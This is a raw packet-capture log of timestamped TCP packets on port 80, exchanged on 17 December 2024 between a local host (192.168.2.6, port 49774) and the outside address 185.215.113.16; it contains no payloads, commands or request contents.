Dec 17, 2024 10:08:51.664304972 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.664336920 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.664483070 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.664618969 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.664650917 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.664721012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.665007114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.665036917 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.665065050 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.665076971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.665110111 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.665184021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.665801048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.665838003 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.665868044 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.665888071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.665918112 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.665961027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.666603088 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.666635990 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.666654110 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.666666031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.666711092 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.666728973 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.667371988 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.667402029 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.667431116 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.667443991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.667475939 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.667522907 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.668194056 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.668224096 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.668248892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.668258905 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.668291092 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.668322086 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.668984890 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.669019938 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.669058084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.669075012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.669110060 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.669187069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.669786930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.669833899 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.669835091 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.669847012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.669878006 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.670037985 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.670604944 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.670638084 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.670650005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.670661926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.670706034 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.670727015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.671348095 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.671387911 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.671420097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.671432018 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.671466112 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.671521902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.672147036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.672183037 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.672185898 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.672200918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.672272921 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.672344923 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.672962904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.673000097 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.673011065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.673022032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.673054934 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.673085928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.673768044 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.673787117 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.673796892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.673803091 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.673871040 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.673919916 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.674576998 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.674596071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.674607992 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.674614906 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.674642086 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.674686909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.675333023 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.675371885 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.675446987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.719760895 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.727063894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.727102995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.727114916 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.727144957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.727154970 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.727190971 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.727227926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.727299929 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.727324963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.727335930 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.727818966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.727854967 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.727857113 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.727869987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.727902889 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.727924109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.728351116 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.728390932 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.728435993 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.728446960 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.728483915 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.728616953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.729182959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.729228973 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.729233027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.729245901 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.729279041 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.729309082 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.729974985 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.730017900 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.730051994 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.782258034 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.794055939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.794123888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.794159889 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.794199944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.794249058 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.794308901 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.794367075 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.794454098 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.794487953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.794507980 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.794595957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.794645071 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.795216084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.795284033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.795335054 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.795347929 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.795387030 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.795438051 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.795963049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.796037912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.796076059 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.796088934 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.796171904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.796221018 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.796777010 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.796830893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.796865940 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.796885014 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.796917915 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.796967983 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.797604084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.797674894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.797729015 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.797758102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.797791958 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.797849894 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.798396111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.798451900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.798485994 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.798504114 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.844780922 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.856076002 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.856163025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.856173992 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.856208086 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.856303930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.856334925 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.856379986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.856390953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.856420994 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.856513023 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.857121944 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.857152939 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.857157946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.857254982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.857265949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.857276917 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.857286930 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.857310057 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.858057022 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.858067036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.858079910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.858115911 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.858478069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.858514071 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.858530998 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.858541965 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.858567953 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.858622074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.859306097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.859335899 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.859360933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.859371901 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.859399080 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.859457970 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.860266924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.860312939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.860322952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.860330105 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.860353947 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.860410929 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.861043930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.861077070 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.861093044 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.861104012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.861126900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.861131907 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.861666918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.861695051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.861701012 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.861706018 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.861735106 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.861798048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.862472057 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.862521887 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.862525940 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.862533092 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.862575054 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.862644911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.863323927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.863334894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.863346100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.863360882 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.863379002 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.863416910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.864062071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.864080906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.864090919 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.864099979 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.864119053 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.864172935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.864865065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.864902973 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.864921093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.864931107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.864959955 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.864990950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.865654945 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.865683079 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.865699053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.865710020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.865745068 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.865828991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.866420984 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.866451979 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.866487026 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.866497993 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.866525888 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.866575003 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.867213011 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.867243052 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.867255926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.867266893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.867295980 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.916486025 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.918941021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.919003010 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.919061899 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.919123888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.919162035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.919212103 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.919352055 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.919414997 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.919450045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.919465065 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.919509888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.919562101 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.920135021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.920247078 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.920283079 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.920304060 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.920319080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.920361042 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.920912981 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.920967102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.921000957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.921020031 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.921101093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.921149969 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.921717882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.921772957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.921807051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.921821117 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:51.921876907 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:51.921931982 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.002765894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.002870083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.002882004 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.002911091 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.002932072 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.003025055 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.003041029 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.003065109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.003108025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.003119946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.003127098 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.003160954 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.008163929 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008188963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008200884 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008244991 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.008348942 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008361101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008375883 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008395910 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.008430958 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.008474112 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008486032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008497000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008508921 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008529902 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.008563995 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.008717060 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008728027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008747101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008758068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008769035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008770943 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.008780003 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008794069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008805990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.008825064 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.008857012 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.009041071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.049125910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.049141884 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.049154043 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.049314022 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.049314022 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.049364090 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.049376011 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.049390078 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.049401045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.049443007 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.049443007 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.049489021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.049501896 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.049555063 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.049568892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.049581051 CET	80	49774	185.215.113.16	192.168.2.6
